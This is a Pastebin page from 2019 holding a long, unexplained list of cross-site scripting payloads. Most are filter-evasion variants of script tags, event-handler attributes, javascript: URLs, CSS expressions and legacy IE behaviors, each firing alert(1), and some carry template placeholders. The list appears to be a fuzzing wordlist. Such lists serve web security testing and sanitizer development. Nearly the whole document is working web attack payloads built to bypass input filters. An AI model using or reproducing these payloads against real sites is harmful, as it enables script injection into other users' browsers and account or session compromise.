API tools faq
paste
SLU

XxPldx

SLU
Mar 25th, 2019
159
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
JavaScript 181.47 KB | None | 0 0
raw download clone embed print report
  1. <script\x20type="text/javascript">javascript:alert(1);</script>
  2. <script\x3Etype="text/javascript">javascript:alert(1);</script>
  3. <script\x0Dtype="text/javascript">javascript:alert(1);</script>
  4. <script\x09type="text/javascript">javascript:alert(1);</script>
  5. <script\x0Ctype="text/javascript">javascript:alert(1);</script>
  6. <script\x2Ftype="text/javascript">javascript:alert(1);</script>
  7. <script\x0Atype="text/javascript">javascript:alert(1);</script>
  8. '`"><\x3Cscript>javascript:alert(1)</script>        
  9. '`"><\x00script>javascript:alert(1)</script>
  10. <img src=1 href=1 onerror="javascript:alert(1)"></img>
  11. <audio src=1 href=1 onerror="javascript:alert(1)"></audio>
  12. <video src=1 href=1 onerror="javascript:alert(1)"></video>
  13. <body src=1 href=1 onerror="javascript:alert(1)"></body>
  14. <image src=1 href=1 onerror="javascript:alert(1)"></image>
  15. <object src=1 href=1 onerror="javascript:alert(1)"></object>
  16. <script src=1 href=1 onerror="javascript:alert(1)"></script>
  17. <svg onResize svg onResize="javascript:javascript:alert(1)"></svg onResize>
  18. <title onPropertyChange title onPropertyChange="javascript:javascript:alert(1)"></title onPropertyChange>
  19. <iframe onLoad iframe onLoad="javascript:javascript:alert(1)"></iframe onLoad>
  20. <body onMouseEnter body onMouseEnter="javascript:javascript:alert(1)"></body onMouseEnter>
  21. <body onFocus body onFocus="javascript:javascript:alert(1)"></body onFocus>
  22. <frameset onScroll frameset onScroll="javascript:javascript:alert(1)"></frameset onScroll>
  23. <script onReadyStateChange script onReadyStateChange="javascript:javascript:alert(1)"></script onReadyStateChange>
  24. <html onMouseUp html onMouseUp="javascript:javascript:alert(1)"></html onMouseUp>
  25. <body onPropertyChange body onPropertyChange="javascript:javascript:alert(1)"></body onPropertyChange>
  26. <svg onLoad svg onLoad="javascript:javascript:alert(1)"></svg onLoad>
  27. <body onPageHide body onPageHide="javascript:javascript:alert(1)"></body onPageHide>
  28. <body onMouseOver body onMouseOver="javascript:javascript:alert(1)"></body onMouseOver>
  29. <body onUnload body onUnload="javascript:javascript:alert(1)"></body onUnload>
  30. <body onLoad body onLoad="javascript:javascript:alert(1)"></body onLoad>
  31. <bgsound onPropertyChange bgsound onPropertyChange="javascript:javascript:alert(1)"></bgsound onPropertyChange>
  32. <html onMouseLeave html onMouseLeave="javascript:javascript:alert(1)"></html onMouseLeave>
  33. <html onMouseWheel html onMouseWheel="javascript:javascript:alert(1)"></html onMouseWheel>
  34. <style onLoad style onLoad="javascript:javascript:alert(1)"></style onLoad>
  35. <iframe onReadyStateChange iframe onReadyStateChange="javascript:javascript:alert(1)"></iframe onReadyStateChange>
  36. <body onPageShow body onPageShow="javascript:javascript:alert(1)"></body onPageShow>
  37. <style onReadyStateChange style onReadyStateChange="javascript:javascript:alert(1)"></style onReadyStateChange>
  38. <frameset onFocus frameset onFocus="javascript:javascript:alert(1)"></frameset onFocus>
  39. <applet onError applet onError="javascript:javascript:alert(1)"></applet onError>
  40. <marquee onStart marquee onStart="javascript:javascript:alert(1)"></marquee onStart>
  41. <script onLoad script onLoad="javascript:javascript:alert(1)"></script onLoad>
  42. <html onMouseOver html onMouseOver="javascript:javascript:alert(1)"></html onMouseOver>
  43. <html onMouseEnter html onMouseEnter="javascript:parent.javascript:alert(1)"></html onMouseEnter>
  44. <body onBeforeUnload body onBeforeUnload="javascript:javascript:alert(1)"></body onBeforeUnload>
  45. <html onMouseDown html onMouseDown="javascript:javascript:alert(1)"></html onMouseDown>
  46. <marquee onScroll marquee onScroll="javascript:javascript:alert(1)"></marquee onScroll>
  47. <xml onPropertyChange xml onPropertyChange="javascript:javascript:alert(1)"></xml onPropertyChange>
  48. <frameset onBlur frameset onBlur="javascript:javascript:alert(1)"></frameset onBlur>
  49. <applet onReadyStateChange applet onReadyStateChange="javascript:javascript:alert(1)"></applet onReadyStateChange>
  50. <svg onUnload svg onUnload="javascript:javascript:alert(1)"></svg onUnload>
  51. <html onMouseOut html onMouseOut="javascript:javascript:alert(1)"></html onMouseOut>
  52. <body onMouseMove body onMouseMove="javascript:javascript:alert(1)"></body onMouseMove>
  53. <body onResize body onResize="javascript:javascript:alert(1)"></body onResize>
  54. <object onError object onError="javascript:javascript:alert(1)"></object onError>
  55. <body onPopState body onPopState="javascript:javascript:alert(1)"></body onPopState>
  56. <html onMouseMove html onMouseMove="javascript:javascript:alert(1)"></html onMouseMove>
  57. <applet onreadystatechange applet onreadystatechange="javascript:javascript:alert(1)"></applet onreadystatechange>
  58. <body onpagehide body onpagehide="javascript:javascript:alert(1)"></body onpagehide>
  59. <svg onunload svg onunload="javascript:javascript:alert(1)"></svg onunload>
  60. <applet onerror applet onerror="javascript:javascript:alert(1)"></applet onerror>
  61. <body onkeyup body onkeyup="javascript:javascript:alert(1)"></body onkeyup>
  62. <body onunload body onunload="javascript:javascript:alert(1)"></body onunload>
  63. <iframe onload iframe onload="javascript:javascript:alert(1)"></iframe onload>
  64. <body onload body onload="javascript:javascript:alert(1)"></body onload>
  65. <html onmouseover html onmouseover="javascript:javascript:alert(1)"></html onmouseover>
  66. <object onbeforeload object onbeforeload="javascript:javascript:alert(1)"></object onbeforeload>
  67. <body onbeforeunload body onbeforeunload="javascript:javascript:alert(1)"></body onbeforeunload>
  68. <body onfocus body onfocus="javascript:javascript:alert(1)"></body onfocus>
  69. <body onkeydown body onkeydown="javascript:javascript:alert(1)"></body onkeydown>
  70. <iframe onbeforeload iframe onbeforeload="javascript:javascript:alert(1)"></iframe onbeforeload>
  71. <iframe src iframe src="javascript:javascript:alert(1)"></iframe src>
  72. <svg onload svg onload="javascript:javascript:alert(1)"></svg onload>
  73. <html onmousemove html onmousemove="javascript:javascript:alert(1)"></html onmousemove>
  74. <body onblur body onblur="javascript:javascript:alert(1)"></body onblur>
  75. \x3Cscript>javascript:alert(1)</script>
  76. '"`><script>/* *\x2Fjavascript:alert(1)// */</script>
  77. <script>javascript:alert(1)</script\x0D
  78. <script>javascript:alert(1)</script\x0A
  79. <script>javascript:alert(1)</script\x0B
  80. <script charset="\x22>javascript:alert(1)</script>
  81. <!--\x3E<img src=xxx:x onerror=javascript:alert(1)> -->
  82. --><!-- ---> <img src=xxx:x onerror=javascript:alert(1)> -->
  83. --><!-- --\x00> <img src=xxx:x onerror=javascript:alert(1)> -->
  84. --><!-- --\x21> <img src=xxx:x onerror=javascript:alert(1)> -->
  85. --><!-- --\x3E> <img src=xxx:x onerror=javascript:alert(1)> -->
  86. `"'><img src='#\x27 onerror=javascript:alert(1)>
  87. <a href="javascript\x3Ajavascript:alert(1)" id="fuzzelement1">test</a>
  88. "'`><p><svg><script>a='hello\x27;javascript:alert(1)//';</script></p>
  89. <a href="javas\x00cript:javascript:alert(1)" id="fuzzelement1">test</a>
  90. <a href="javas\x07cript:javascript:alert(1)" id="fuzzelement1">test</a>
  91. <a href="javas\x0Dcript:javascript:alert(1)" id="fuzzelement1">test</a>
  92. <a href="javas\x0Acript:javascript:alert(1)" id="fuzzelement1">test</a>
  93. <a href="javas\x08cript:javascript:alert(1)" id="fuzzelement1">test</a>
  94. <a href="javas\x02cript:javascript:alert(1)" id="fuzzelement1">test</a>
  95. <a href="javas\x03cript:javascript:alert(1)" id="fuzzelement1">test</a>
  96. <a href="javas\x04cript:javascript:alert(1)" id="fuzzelement1">test</a>
  97. <a href="javas\x01cript:javascript:alert(1)" id="fuzzelement1">test</a>
  98. <a href="javas\x05cript:javascript:alert(1)" id="fuzzelement1">test</a>
  99. <a href="javas\x0Bcript:javascript:alert(1)" id="fuzzelement1">test</a>
  100. <a href="javas\x09cript:javascript:alert(1)" id="fuzzelement1">test</a>
  101. <a href="javas\x06cript:javascript:alert(1)" id="fuzzelement1">test</a>
  102. <a href="javas\x0Ccript:javascript:alert(1)" id="fuzzelement1">test</a>
  103. <script>/* *\x2A/javascript:alert(1)// */</script>
  104. <script>/* *\x00/javascript:alert(1)// */</script>
  105. <style></style\x3E<img src="about:blank" onerror=javascript:alert(1)//></style>
  106. <style></style\x0D<img src="about:blank" onerror=javascript:alert(1)//></style>
  107. <style></style\x09<img src="about:blank" onerror=javascript:alert(1)//></style>
  108. <style></style\x20<img src="about:blank" onerror=javascript:alert(1)//></style>
  109. <style></style\x0A<img src="about:blank" onerror=javascript:alert(1)//></style>
  110. "'`>ABC<div style="font-family:'foo'\x7Dx:expression(javascript:alert(1);/*';">DEF
  111. "'`>ABC<div style="font-family:'foo'\x3Bx:expression(javascript:alert(1);/*';">DEF
  112. <script>if("x\\xE1\x96\x89".length==2) { javascript:alert(1);}</script>
  113. <script>if("x\\xE0\xB9\x92".length==2) { javascript:alert(1);}</script>
  114. <script>if("x\\xEE\xA9\x93".length==2) { javascript:alert(1);}</script>
  115. '`"><\x3Cscript>javascript:alert(1)</script>
  116. '`"><\x00script>javascript:alert(1)</script>
  117. "'`><\x3Cimg src=xxx:x onerror=javascript:alert(1)>
  118. "'`><\x00img src=xxx:x onerror=javascript:alert(1)>
  119. <script src="data:text/plain\x2Cjavascript:alert(1)"></script>
  120. <script src="data:\xD4\x8F,javascript:alert(1)"></script>
  121. <script src="data:\xE0\xA4\x98,javascript:alert(1)"></script>
  122. <script src="data:\xCB\x8F,javascript:alert(1)"></script>
  123. <script\x20type="text/javascript">javascript:alert(1);</script>
  124. <script\x3Etype="text/javascript">javascript:alert(1);</script>
  125. <script\x0Dtype="text/javascript">javascript:alert(1);</script>
  126. <script\x09type="text/javascript">javascript:alert(1);</script>
  127. <script\x0Ctype="text/javascript">javascript:alert(1);</script>
  128. <script\x2Ftype="text/javascript">javascript:alert(1);</script>
  129. <script\x0Atype="text/javascript">javascript:alert(1);</script>
  130. ABC<div style="x\x3Aexpression(javascript:alert(1)">DEF
  131. ABC<div style="x:expression\x5C(javascript:alert(1)">DEF
  132. ABC<div style="x:expression\x00(javascript:alert(1)">DEF
  133. ABC<div style="x:exp\x00ression(javascript:alert(1)">DEF
  134. ABC<div style="x:exp\x5Cression(javascript:alert(1)">DEF
  135. ABC<div style="x:\x0Aexpression(javascript:alert(1)">DEF
  136. ABC<div style="x:\x09expression(javascript:alert(1)">DEF
  137. ABC<div style="x:\xE3\x80\x80expression(javascript:alert(1)">DEF
  138. ABC<div style="x:\xE2\x80\x84expression(javascript:alert(1)">DEF
  139. ABC<div style="x:\xC2\xA0expression(javascript:alert(1)">DEF
  140. ABC<div style="x:\xE2\x80\x80expression(javascript:alert(1)">DEF
  141. ABC<div style="x:\xE2\x80\x8Aexpression(javascript:alert(1)">DEF
  142. ABC<div style="x:\x0Dexpression(javascript:alert(1)">DEF
  143. ABC<div style="x:\x0Cexpression(javascript:alert(1)">DEF
  144. ABC<div style="x:\xE2\x80\x87expression(javascript:alert(1)">DEF
  145. ABC<div style="x:\xEF\xBB\xBFexpression(javascript:alert(1)">DEF
  146. ABC<div style="x:\x20expression(javascript:alert(1)">DEF
  147. ABC<div style="x:\xE2\x80\x88expression(javascript:alert(1)">DEF
  148. ABC<div style="x:\x00expression(javascript:alert(1)">DEF
  149. ABC<div style="x:\xE2\x80\x8Bexpression(javascript:alert(1)">DEF
  150. ABC<div style="x:\xE2\x80\x86expression(javascript:alert(1)">DEF
  151. ABC<div style="x:\xE2\x80\x85expression(javascript:alert(1)">DEF
  152. ABC<div style="x:\xE2\x80\x82expression(javascript:alert(1)">DEF
  153. ABC<div style="x:\x0Bexpression(javascript:alert(1)">DEF
  154. ABC<div style="x:\xE2\x80\x81expression(javascript:alert(1)">DEF
  155. ABC<div style="x:\xE2\x80\x83expression(javascript:alert(1)">DEF
  156. ABC<div style="x:\xE2\x80\x89expression(javascript:alert(1)">DEF
  157. <a href="\x0Bjavascript:javascript:alert(1)" id="fuzzelement1">test</a>
  158. <a href="\x0Fjavascript:javascript:alert(1)" id="fuzzelement1">test</a>
  159. <a href="\xC2\xA0javascript:javascript:alert(1)" id="fuzzelement1">test</a>
  160. <a href="\x05javascript:javascript:alert(1)" id="fuzzelement1">test</a>
  161. <a href="\xE1\xA0\x8Ejavascript:javascript:alert(1)" id="fuzzelement1">test</a>
  162. <a href="\x18javascript:javascript:alert(1)" id="fuzzelement1">test</a>
  163. <a href="\x11javascript:javascript:alert(1)" id="fuzzelement1">test</a>
  164. <a href="\xE2\x80\x88javascript:javascript:alert(1)" id="fuzzelement1">test</a>
  165. <a href="\xE2\x80\x89javascript:javascript:alert(1)" id="fuzzelement1">test</a>
  166. <a href="\xE2\x80\x80javascript:javascript:alert(1)" id="fuzzelement1">test</a>
  167. <a href="\x17javascript:javascript:alert(1)" id="fuzzelement1">test</a>
  168. <a href="\x03javascript:javascript:alert(1)" id="fuzzelement1">test</a>
  169. <a href="\x0Ejavascript:javascript:alert(1)" id="fuzzelement1">test</a>
  170. <a href="\x1Ajavascript:javascript:alert(1)" id="fuzzelement1">test</a>
  171. <a href="\x00javascript:javascript:alert(1)" id="fuzzelement1">test</a>
  172. <a href="\x10javascript:javascript:alert(1)" id="fuzzelement1">test</a>
  173. <a href="\xE2\x80\x82javascript:javascript:alert(1)" id="fuzzelement1">test</a>
  174. <a href="\x20javascript:javascript:alert(1)" id="fuzzelement1">test</a>
  175. <a href="\x13javascript:javascript:alert(1)" id="fuzzelement1">test</a>
  176. <a href="\x09javascript:javascript:alert(1)" id="fuzzelement1">test</a>
  177. <a href="\xE2\x80\x8Ajavascript:javascript:alert(1)" id="fuzzelement1">test</a>
  178. <a href="\x14javascript:javascript:alert(1)" id="fuzzelement1">test</a>
  179. <a href="\x19javascript:javascript:alert(1)" id="fuzzelement1">test</a>
  180. <a href="\xE2\x80\xAFjavascript:javascript:alert(1)" id="fuzzelement1">test</a>
  181. <a href="\x1Fjavascript:javascript:alert(1)" id="fuzzelement1">test</a>
  182. <a href="\xE2\x80\x81javascript:javascript:alert(1)" id="fuzzelement1">test</a>
  183. <a href="\x1Djavascript:javascript:alert(1)" id="fuzzelement1">test</a>
  184. <a href="\xE2\x80\x87javascript:javascript:alert(1)" id="fuzzelement1">test</a>
  185. <a href="\x07javascript:javascript:alert(1)" id="fuzzelement1">test</a>
  186. <a href="\xE1\x9A\x80javascript:javascript:alert(1)" id="fuzzelement1">test</a>
  187. <a href="\xE2\x80\x83javascript:javascript:alert(1)" id="fuzzelement1">test</a>
  188. <a href="\x04javascript:javascript:alert(1)" id="fuzzelement1">test</a>
  189. <a href="\x01javascript:javascript:alert(1)" id="fuzzelement1">test</a>
  190. <a href="\x08javascript:javascript:alert(1)" id="fuzzelement1">test</a>
  191. <a href="\xE2\x80\x84javascript:javascript:alert(1)" id="fuzzelement1">test</a>
  192. <a href="\xE2\x80\x86javascript:javascript:alert(1)" id="fuzzelement1">test</a>
  193. <a href="\xE3\x80\x80javascript:javascript:alert(1)" id="fuzzelement1">test</a>
  194. <a href="\x12javascript:javascript:alert(1)" id="fuzzelement1">test</a>
  195. <a href="\x0Djavascript:javascript:alert(1)" id="fuzzelement1">test</a>
  196. <a href="\x0Ajavascript:javascript:alert(1)" id="fuzzelement1">test</a>
  197. <a href="\x0Cjavascript:javascript:alert(1)" id="fuzzelement1">test</a>
  198. <a href="\x15javascript:javascript:alert(1)" id="fuzzelement1">test</a>
  199. <a href="\xE2\x80\xA8javascript:javascript:alert(1)" id="fuzzelement1">test</a>
  200. <a href="\x16javascript:javascript:alert(1)" id="fuzzelement1">test</a>
  201. <a href="\x02javascript:javascript:alert(1)" id="fuzzelement1">test</a>
  202. <a href="\x1Bjavascript:javascript:alert(1)" id="fuzzelement1">test</a>
  203. <a href="\x06javascript:javascript:alert(1)" id="fuzzelement1">test</a>
  204. <a href="\xE2\x80\xA9javascript:javascript:alert(1)" id="fuzzelement1">test</a>
  205. <a href="\xE2\x80\x85javascript:javascript:alert(1)" id="fuzzelement1">test</a>
  206. <a href="\x1Ejavascript:javascript:alert(1)" id="fuzzelement1">test</a>
  207. <a href="\xE2\x81\x9Fjavascript:javascript:alert(1)" id="fuzzelement1">test</a>
  208. <a href="\x1Cjavascript:javascript:alert(1)" id="fuzzelement1">test</a>
  209. <a href="javascript\x00:javascript:alert(1)" id="fuzzelement1">test</a>
  210. <a href="javascript\x3A:javascript:alert(1)" id="fuzzelement1">test</a>
  211. <a href="javascript\x09:javascript:alert(1)" id="fuzzelement1">test</a>
  212. <a href="javascript\x0D:javascript:alert(1)" id="fuzzelement1">test</a>
  213. <a href="javascript\x0A:javascript:alert(1)" id="fuzzelement1">test</a>
  214. `"'><img src=xxx:x \x0Aonerror=javascript:alert(1)>
  215. `"'><img src=xxx:x \x22onerror=javascript:alert(1)>
  216. `"'><img src=xxx:x \x0Bonerror=javascript:alert(1)>
  217. `"'><img src=xxx:x \x0Donerror=javascript:alert(1)>
  218. `"'><img src=xxx:x \x2Fonerror=javascript:alert(1)>
  219. `"'><img src=xxx:x \x09onerror=javascript:alert(1)>
  220. `"'><img src=xxx:x \x0Conerror=javascript:alert(1)>
  221. `"'><img src=xxx:x \x00onerror=javascript:alert(1)>
  222. `"'><img src=xxx:x \x27onerror=javascript:alert(1)>
  223. `"'><img src=xxx:x \x20onerror=javascript:alert(1)>
  224. "`'><script>\x3Bjavascript:alert(1)</script>
  225. "`'><script>\x0Djavascript:alert(1)</script>
  226. "`'><script>\xEF\xBB\xBFjavascript:alert(1)</script>
  227. "`'><script>\xE2\x80\x81javascript:alert(1)</script>
  228. "`'><script>\xE2\x80\x84javascript:alert(1)</script>
  229. "`'><script>\xE3\x80\x80javascript:alert(1)</script>
  230. "`'><script>\x09javascript:alert(1)</script>
  231. "`'><script>\xE2\x80\x89javascript:alert(1)</script>
  232. "`'><script>\xE2\x80\x85javascript:alert(1)</script>
  233. "`'><script>\xE2\x80\x88javascript:alert(1)</script>
  234. "`'><script>\x00javascript:alert(1)</script>
  235. "`'><script>\xE2\x80\xA8javascript:alert(1)</script>
  236. "`'><script>\xE2\x80\x8Ajavascript:alert(1)</script>
  237. "`'><script>\xE1\x9A\x80javascript:alert(1)</script>
  238. "`'><script>\x0Cjavascript:alert(1)</script>
  239. "`'><script>\x2Bjavascript:alert(1)</script>
  240. "`'><script>\xF0\x90\x96\x9Ajavascript:alert(1)</script>
  241. "`'><script>-javascript:alert(1)</script>
  242. "`'><script>\x0Ajavascript:alert(1)</script>
  243. "`'><script>\xE2\x80\xAFjavascript:alert(1)</script>
  244. "`'><script>\x7Ejavascript:alert(1)</script>
  245. "`'><script>\xE2\x80\x87javascript:alert(1)</script>
  246. "`'><script>\xE2\x81\x9Fjavascript:alert(1)</script>
  247. "`'><script>\xE2\x80\xA9javascript:alert(1)</script>
  248. "`'><script>\xC2\x85javascript:alert(1)</script>
  249. "`'><script>\xEF\xBF\xAEjavascript:alert(1)</script>
  250. "`'><script>\xE2\x80\x83javascript:alert(1)</script>
  251. "`'><script>\xE2\x80\x8Bjavascript:alert(1)</script>
  252. "`'><script>\xEF\xBF\xBEjavascript:alert(1)</script>
  253. "`'><script>\xE2\x80\x80javascript:alert(1)</script>
  254. "`'><script>\x21javascript:alert(1)</script>
  255. "`'><script>\xE2\x80\x82javascript:alert(1)</script>
  256. "`'><script>\xE2\x80\x86javascript:alert(1)</script>
  257. "`'><script>\xE1\xA0\x8Ejavascript:alert(1)</script>
  258. "`'><script>\x0Bjavascript:alert(1)</script>
  259. "`'><script>\x20javascript:alert(1)</script>
  260. "`'><script>\xC2\xA0javascript:alert(1)</script>
  261. "/><img/onerror=\x0Bjavascript:alert(1)\x0Bsrc=xxx:x />
  262. "/><img/onerror=\x22javascript:alert(1)\x22src=xxx:x />
  263. "/><img/onerror=\x09javascript:alert(1)\x09src=xxx:x />
  264. "/><img/onerror=\x27javascript:alert(1)\x27src=xxx:x />
  265. "/><img/onerror=\x0Ajavascript:alert(1)\x0Asrc=xxx:x />
  266. "/><img/onerror=\x0Cjavascript:alert(1)\x0Csrc=xxx:x />
  267. "/><img/onerror=\x0Djavascript:alert(1)\x0Dsrc=xxx:x />
  268. "/><img/onerror=\x60javascript:alert(1)\x60src=xxx:x />
  269. "/><img/onerror=\x20javascript:alert(1)\x20src=xxx:x />
  270. <script\x2F>javascript:alert(1)</script>
  271. <script\x20>javascript:alert(1)</script>
  272. <script\x0D>javascript:alert(1)</script>
  273. <script\x0A>javascript:alert(1)</script>
  274. <script\x0C>javascript:alert(1)</script>
  275. <script\x00>javascript:alert(1)</script>
  276. <script\x09>javascript:alert(1)</script>
  277. `"'><img src=xxx:x onerror\x0B=javascript:alert(1)>
  278. `"'><img src=xxx:x onerror\x00=javascript:alert(1)>
  279. `"'><img src=xxx:x onerror\x0C=javascript:alert(1)>
  280. `"'><img src=xxx:x onerror\x0D=javascript:alert(1)>
  281. `"'><img src=xxx:x onerror\x20=javascript:alert(1)>
  282. `"'><img src=xxx:x onerror\x0A=javascript:alert(1)>
  283. `"'><img src=xxx:x onerror\x09=javascript:alert(1)>
  284. <script>javascript:alert(1)<\x00/script>
  285. <img src=# onerror\x3D"javascript:alert(1)" >
  286. <input onfocus=javascript:alert(1) autofocus>
  287. <input onblur=javascript:alert(1) autofocus><input autofocus>
  288. <video poster=javascript:javascript:alert(1)//
  289. <body onscroll=javascript:alert(1)><br><br><br><br><br><br>...<br><br><br><br><br><br><br><br><br><br>...<br><br><br><br><br><br><br><br><br><br>...<br><br><br><br><br><br><br><br><br><br>...<br><br><br><br><br><br><br><br><br><br>...<br><br><br><br><input autofocus>
  290. <form id=test onforminput=javascript:alert(1)><input></form><button form=test onformchange=javascript:alert(1)>X
  291. <video><source onerror="javascript:javascript:alert(1)">
  292. <video onerror="javascript:javascript:alert(1)"><source>
  293. <form><button formaction="javascript:javascript:alert(1)">X
  294. <body oninput=javascript:alert(1)><input autofocus>
  295. <math href="javascript:javascript:alert(1)">CLICKME</math>  <math> <maction actiontype="statusline#http://google.com" xlink:href="javascript:javascript:alert(1)">CLICKME</maction> </math>
  296. <frameset onload=javascript:alert(1)>
  297. <table background="javascript:javascript:alert(1)">
  298. <!--<img src="--><img src=x onerror=javascript:alert(1)//">
  299. <comment><img src="</comment><img src=x onerror=javascript:alert(1))//">
  300. <![><img src="]><img src=x onerror=javascript:alert(1)//">
  301. <style><img src="</style><img src=x onerror=javascript:alert(1)//">
  302. <li style=list-style:url() onerror=javascript:alert(1)> <div style=content:url(data:image/svg+xml,%%3Csvg/%%3E);visibility:hidden onload=javascript:alert(1)></div>
  303. <head><base href="javascript://"></head><body><a href="/. /,javascript:alert(1)//#">XXX</a></body>
  304. <SCRIPT FOR=document EVENT=onreadystatechange>javascript:alert(1)</SCRIPT>
  305. <OBJECT CLASSID="clsid:333C7BC4-460F-11D0-BC04-0080C7055A83"><PARAM NAME="DataURL" VALUE="javascript:alert(1)"></OBJECT>
  306. <object data="data:text/html;base64,%(base64)s">
  307. <embed src="data:text/html;base64,%(base64)s">
  308. <b <script>alert(1)</script>0
  309. <div id="div1"><input value="``onmouseover=javascript:alert(1)"></div> <div id="div2"></div><script>document.getElementById("div2").innerHTML = document.getElementById("div1").innerHTML;</script>
  310. <x '="foo"><x foo='><img src=x onerror=javascript:alert(1)//'>
  311. <embed src="javascript:alert(1)">
  312. <img src="javascript:alert(1)">
  313. <image src="javascript:alert(1)">
  314. <script src="javascript:alert(1)">
  315. <div style=width:1px;filter:glow onfilterchange=javascript:alert(1)>x
  316. <? foo="><script>javascript:alert(1)</script>">
  317. <! foo="><script>javascript:alert(1)</script>">
  318. </ foo="><script>javascript:alert(1)</script>">
  319. <? foo="><x foo='?><script>javascript:alert(1)</script>'>">
  320. <! foo="[[[Inception]]"><x foo="]foo><script>javascript:alert(1)</script>">
  321. <% foo><x foo="%><script>javascript:alert(1)</script>">
  322. <div id=d><x xmlns="><iframe onload=javascript:alert(1)"></div> <script>d.innerHTML=d.innerHTML</script>
  323. <img \x00src=x onerror="alert(1)">
  324. <img \x47src=x onerror="javascript:alert(1)">
  325. <img \x11src=x onerror="javascript:alert(1)">
  326. <img \x12src=x onerror="javascript:alert(1)">
  327. <img\x47src=x onerror="javascript:alert(1)">
  328. <img\x10src=x onerror="javascript:alert(1)">
  329. <img\x13src=x onerror="javascript:alert(1)">
  330. <img\x32src=x onerror="javascript:alert(1)">
  331. <img\x47src=x onerror="javascript:alert(1)">
  332. <img\x11src=x onerror="javascript:alert(1)">
  333. <img \x47src=x onerror="javascript:alert(1)">
  334. <img \x34src=x onerror="javascript:alert(1)">
  335. <img \x39src=x onerror="javascript:alert(1)">
  336. <img \x00src=x onerror="javascript:alert(1)">
  337. <img src\x09=x onerror="javascript:alert(1)">
  338. <img src\x10=x onerror="javascript:alert(1)">
  339. <img src\x13=x onerror="javascript:alert(1)">
  340. <img src\x32=x onerror="javascript:alert(1)">
  341. <img src\x12=x onerror="javascript:alert(1)">
  342. <img src\x11=x onerror="javascript:alert(1)">
  343. <img src\x00=x onerror="javascript:alert(1)">
  344. <img src\x47=x onerror="javascript:alert(1)">
  345. <img src=x\x09onerror="javascript:alert(1)">
  346. <img src=x\x10onerror="javascript:alert(1)">
  347. <img src=x\x11onerror="javascript:alert(1)">
  348. <img src=x\x12onerror="javascript:alert(1)">
  349. <img src=x\x13onerror="javascript:alert(1)">
  350. <img[a][b][c]src[d]=x[e]onerror=[f]"alert(1)">
  351. <img src=x onerror=\x09"javascript:alert(1)">
  352. <img src=x onerror=\x10"javascript:alert(1)">
  353. <img src=x onerror=\x11"javascript:alert(1)">
  354. <img src=x onerror=\x12"javascript:alert(1)">
  355. <img src=x onerror=\x32"javascript:alert(1)">
  356. <img src=x onerror=\x00"javascript:alert(1)">
  357. <a href=java&#1&#2&#3&#4&#5&#6&#7&#8&#11&#12script:javascript:alert(1)>XXX</a>
  358. <img src="x` `<script>javascript:alert(1)</script>"` `>
  359. <img src onerror /" '"= alt=javascript:alert(1)//">
  360. <title onpropertychange=javascript:alert(1)></title><title title=>
  361. <a href=http://foo.bar/#x=`y></a><img alt="`><img src=x:x onerror=javascript:alert(1)></a>">
  362. <!--[if]><script>javascript:alert(1)</script -->
  363. <!--[if<img src=x onerror=javascript:alert(1)//]> -->
  364. <script src="/\%(jscript)s"></script>
  365. <script src="\\%(jscript)s"></script>
  366. <object id="x" classid="clsid:CB927D12-4FF7-4a9e-A169-56E4B8A75598"></object> <object classid="clsid:02BF25D5-8C17-4B23-BC80-D3488ABDDC6B" onqt_error="javascript:alert(1)" style="behavior:url(#x);"><param name=postdomevents /></object>
  367. <a style="-o-link:'javascript:javascript:alert(1)';-o-link-source:current">X
  368. <style>p[foo=bar{}*{-o-link:'javascript:javascript:alert(1)'}{}*{-o-link-source:current}]{color:red};</style>
  369. <link rel=stylesheet href=data:,*%7bx:expression(javascript:alert(1))%7d
  370. <style>@import "data:,*%7bx:expression(javascript:alert(1))%7D";</style>
  371. <a style="pointer-events:none;position:absolute;"><a style="position:absolute;" onclick="javascript:alert(1);">XXX</a></a><a href="javascript:javascript:alert(1)">XXX</a>
  372. <style>*[{}@import'%(css)s?]</style>X
  373. <div style="font-family:'foo&#10;;color:red;';">XXX
  374. <div style="font-family:foo}color=red;">XXX
  375. <// style=x:expression\28javascript:alert(1)\29>
  376. <style>*{x:ｅｘｐｒｅｓｓｉｏｎ(javascript:alert(1))}</style>
  377. <div style=content:url(%(svg)s)></div>
  378. <div style="list-style:url(http://foo.f)\20url(javascript:javascript:alert(1));">X
  379. <div id=d><div style="font-family:'sans\27\3B color\3Ared\3B'">X</div></div> <script>with(document.getElementById("d"))innerHTML=innerHTML</script>
  380. <div style="background:url(/f#&#127;oo/;color:red/*/foo.jpg);">X
  381. <div style="font-family:foo{bar;background:url(http://foo.f/oo};color:red/*/foo.jpg);">X
  382. <div id="x">XXX</div> <style>  #x{font-family:foo[bar;color:green;}  #y];color:red;{}  </style>
  383. <x style="background:url('x&#1;;color:red;/*')">XXX</x>
  384. <script>({set/**/$($){_/**/setter=$,_=javascript:alert(1)}}).$=eval</script>
  385. <script>({0:#0=eval/#0#/#0#(javascript:alert(1))})</script>
  386. <script>ReferenceError.prototype.__defineGetter__('name', function(){javascript:alert(1)}),x</script>
  387. <script>Object.__noSuchMethod__ = Function,[{}][0].constructor._('javascript:alert(1)')()</script>
  388. <meta charset="x-imap4-modified-utf7">&ADz&AGn&AG0&AEf&ACA&AHM&AHI&AGO&AD0&AGn&ACA&AG8Abg&AGUAcgByAG8AcgA9AGEAbABlAHIAdAAoADEAKQ&ACAAPABi
  389. <meta charset="x-imap4-modified-utf7">&<script&S1&TS&1>alert&A7&(1)&R&UA;&&<&A9&11/script&X&>
  390. <meta charset="mac-farsi">¼script¾javascript:alert(1)¼/script¾
  391. X<x style=`behavior:url(#default#time2)` onbegin=`javascript:alert(1)` >
  392. 1<set/xmlns=`urn:schemas-microsoft-com:time` style=`beh&#x41vior:url(#default#time2)` attributename=`innerhtml` to=`&lt;img/src=&quot;x&quot;onerror=javascript:alert(1)&gt;`>
  393. 1<animate/xmlns=urn:schemas-microsoft-com:time style=behavior:url(#default#time2) attributename=innerhtml values=&lt;img/src=&quot;.&quot;onerror=javascript:alert(1)&gt;>
  394. <vmlframe xmlns=urn:schemas-microsoft-com:vml style=behavior:url(#default#vml);position:absolute;width:100%;height:100% src=%(vml)s#xss></vmlframe>
  395. 1<a href=#><line xmlns=urn:schemas-microsoft-com:vml style=behavior:url(#default#vml);position:absolute href=javascript:javascript:alert(1) strokecolor=white strokeweight=1000px from=0 to=1000 /></a>
  396. <a style="behavior:url(#default#AnchorClick);" folder="javascript:javascript:alert(1)">XXX</a>
  397. <x style="behavior:url(%(sct)s)">
